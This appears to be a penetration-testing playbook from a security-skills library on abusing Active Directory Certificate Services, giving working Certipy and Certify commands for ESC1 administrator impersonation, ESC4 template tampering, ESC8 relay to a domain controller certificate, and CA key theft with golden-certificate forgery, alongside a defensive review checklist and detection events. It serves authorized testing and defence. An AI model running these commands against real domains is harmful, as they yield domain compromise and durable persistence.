Abusing Adcs

Abusing AD CS

A certificate authority in an Active Directory domain is usually the shortest path from a standard user to domain administrator, because certificate templates are permission objects that almost nobody audits. A single template that lets the enrollee supply their own subject name is a full domain compromise, and it is the default on more networks than it should be.

Only against domains you are authorized to test.

When to Use

• The domain has a CA (pKIEnrollmentService objects exist)
• certipy find or BloodHound reports vulnerable templates
• You have any domain credential and need a privilege escalation path
• You need durable domain persistence that survives a password reset
• Reviewing PKI configuration defensively

When NOT to Use

• General AD attacks (Kerberoasting, DCSync, lateral movement) — use attacking-active-directory
• Delegation abuse — use attacking-kerberos-delegation
• Entra ID / cloud PKI — use attacking-entra-id
• Detecting these attacks — use engineering-detections; certificate request events (4886/4887) are the primary telemetry

Enumerate First

bashCopy code
# Certipy — the standard tool; run this before anything else
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound

# From Windows
Certify.exe find /vulnerable
Certify.exe cas                      # CA hosts, flags, and enrollment endpoints

certipy find -vulnerable names the ESC number directly, which is why it is the first command. Read the output for: who can enroll, whether the requester supplies the subject, which EKUs are present, and whether manager approval is required.

The Escalation Paths

Grouped by what is misconfigured, because the fix and the detection differ.

Template misconfiguration — the common cases

bashCopy code
# ESC1 — the canonical path
certipy req -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 \
  -ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@domain.local'

# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash

Access-control misconfiguration

bashCopy code
# ESC4 — make it vulnerable, use it, put it back
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json

Restoring the template is not optional. Leaving a template in a vulnerable state is a real change to the client's security posture, and doing so unannounced is a finding against you, not them. -save-old first, restore immediately, and record both actions with timestamps.

CA misconfiguration

bashCopy code
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags

Relay paths

bashCopy code
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10     # → DC machine account → DCSync

Certificate mapping

Strong certificate binding changes the picture. After the May 2022 updates (KB5014754), domain controllers can require certificates to carry the SID security extension, and StrongCertificateBindingEnforcement governs how strictly. On a fully-enforcing domain, ESC9, ESC10, and Certifried (CVE-2022-26923) stop working, while ESC1, ESC4, ESC6, and ESC8 do not. Check the enforcement level before reporting a path as exploitable:

bashCopy code
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility (default for a period), 2 = full enforcement

Persistence

Certificates are the most durable AD persistence available, which is exactly why they matter in a report.

• A user certificate remains valid for its lifetime through password resets. Resetting the compromised account does not evict the attacker.
• Stealing the CA's private key (THEFT2 / Golden Certificate) allows forging certificates for any principal, indefinitely, offline. Recovering from that requires re-issuing the PKI.
• Revocation is the only remedy, and most environments do not check CRLs promptly or at all.

bashCopy code
# Extract the CA key with local admin on the CA host (DPAPI-protected)
certipy ca -backup -u user@domain.local -p 'Password' -ca 'CORP-CA'
# Forge offline
certipy forge -ca-pfx ca.pfx -upn administrator@domain.local

State this explicitly when reporting: "password resets do not remediate this; the issued certificates must be revoked" is the sentence that changes the client's response plan.

Defensive Review

When the engagement is a configuration review rather than an attack:

• Which templates allow enrollee-supplied subjects, and who can enroll?
• Which templates have client-auth or Any-Purpose EKUs available to Domain Users or Authenticated Users?
• Is manager approval required on sensitive templates?
• Is EDITF_ATTRIBUTESUBJECTALTNAME2 set anywhere?
• Is web enrollment exposed, and does it enforce HTTPS with EPA?
• Is StrongCertificateBindingEnforcement at full enforcement?
• Who holds ManageCA and ManageCertificates?
• Is certificate issuance monitored (events 4886, 4887, 4899, 4900)?

Rationalizations to Reject

• "The template requires manager approval, so it's safe." Check ESC7 — a ManageCertificates holder approves their own request.
• "Only Domain Admins can enroll." Read the ACL rather than the name. Groups nest, and Authenticated Users appears more often than expected.
• "We patched for Certifried." That closes one path. ESC1 and ESC8 are configuration, not patchable.
• "We reset the compromised account's password." The certificate is still valid. Revoke it.
• "It's an internal CA, low severity." An internal CA that issues domain authentication certificates is a domain admin equivalent.
• "BloodHound didn't show it." Collect with a certificate-aware collector; older collections have no ADCS edges at all.
• "I'll leave the template modified, it's easier." No.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

• T1649 Steal or Forge Authentication Certificates — see also attacking-active-directory

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

• attacking-active-directory — the wider domain attack path
• attacking-kerberos-delegation — the other high-yield AD escalation family
• engineering-detections — certificate issuance and template change telemetry
• reporting-security-findings — how to state the revocation requirement
• Certipy, Certify, PKIAudit, BloodHound (ADCS edges), Coercer, PetitPotam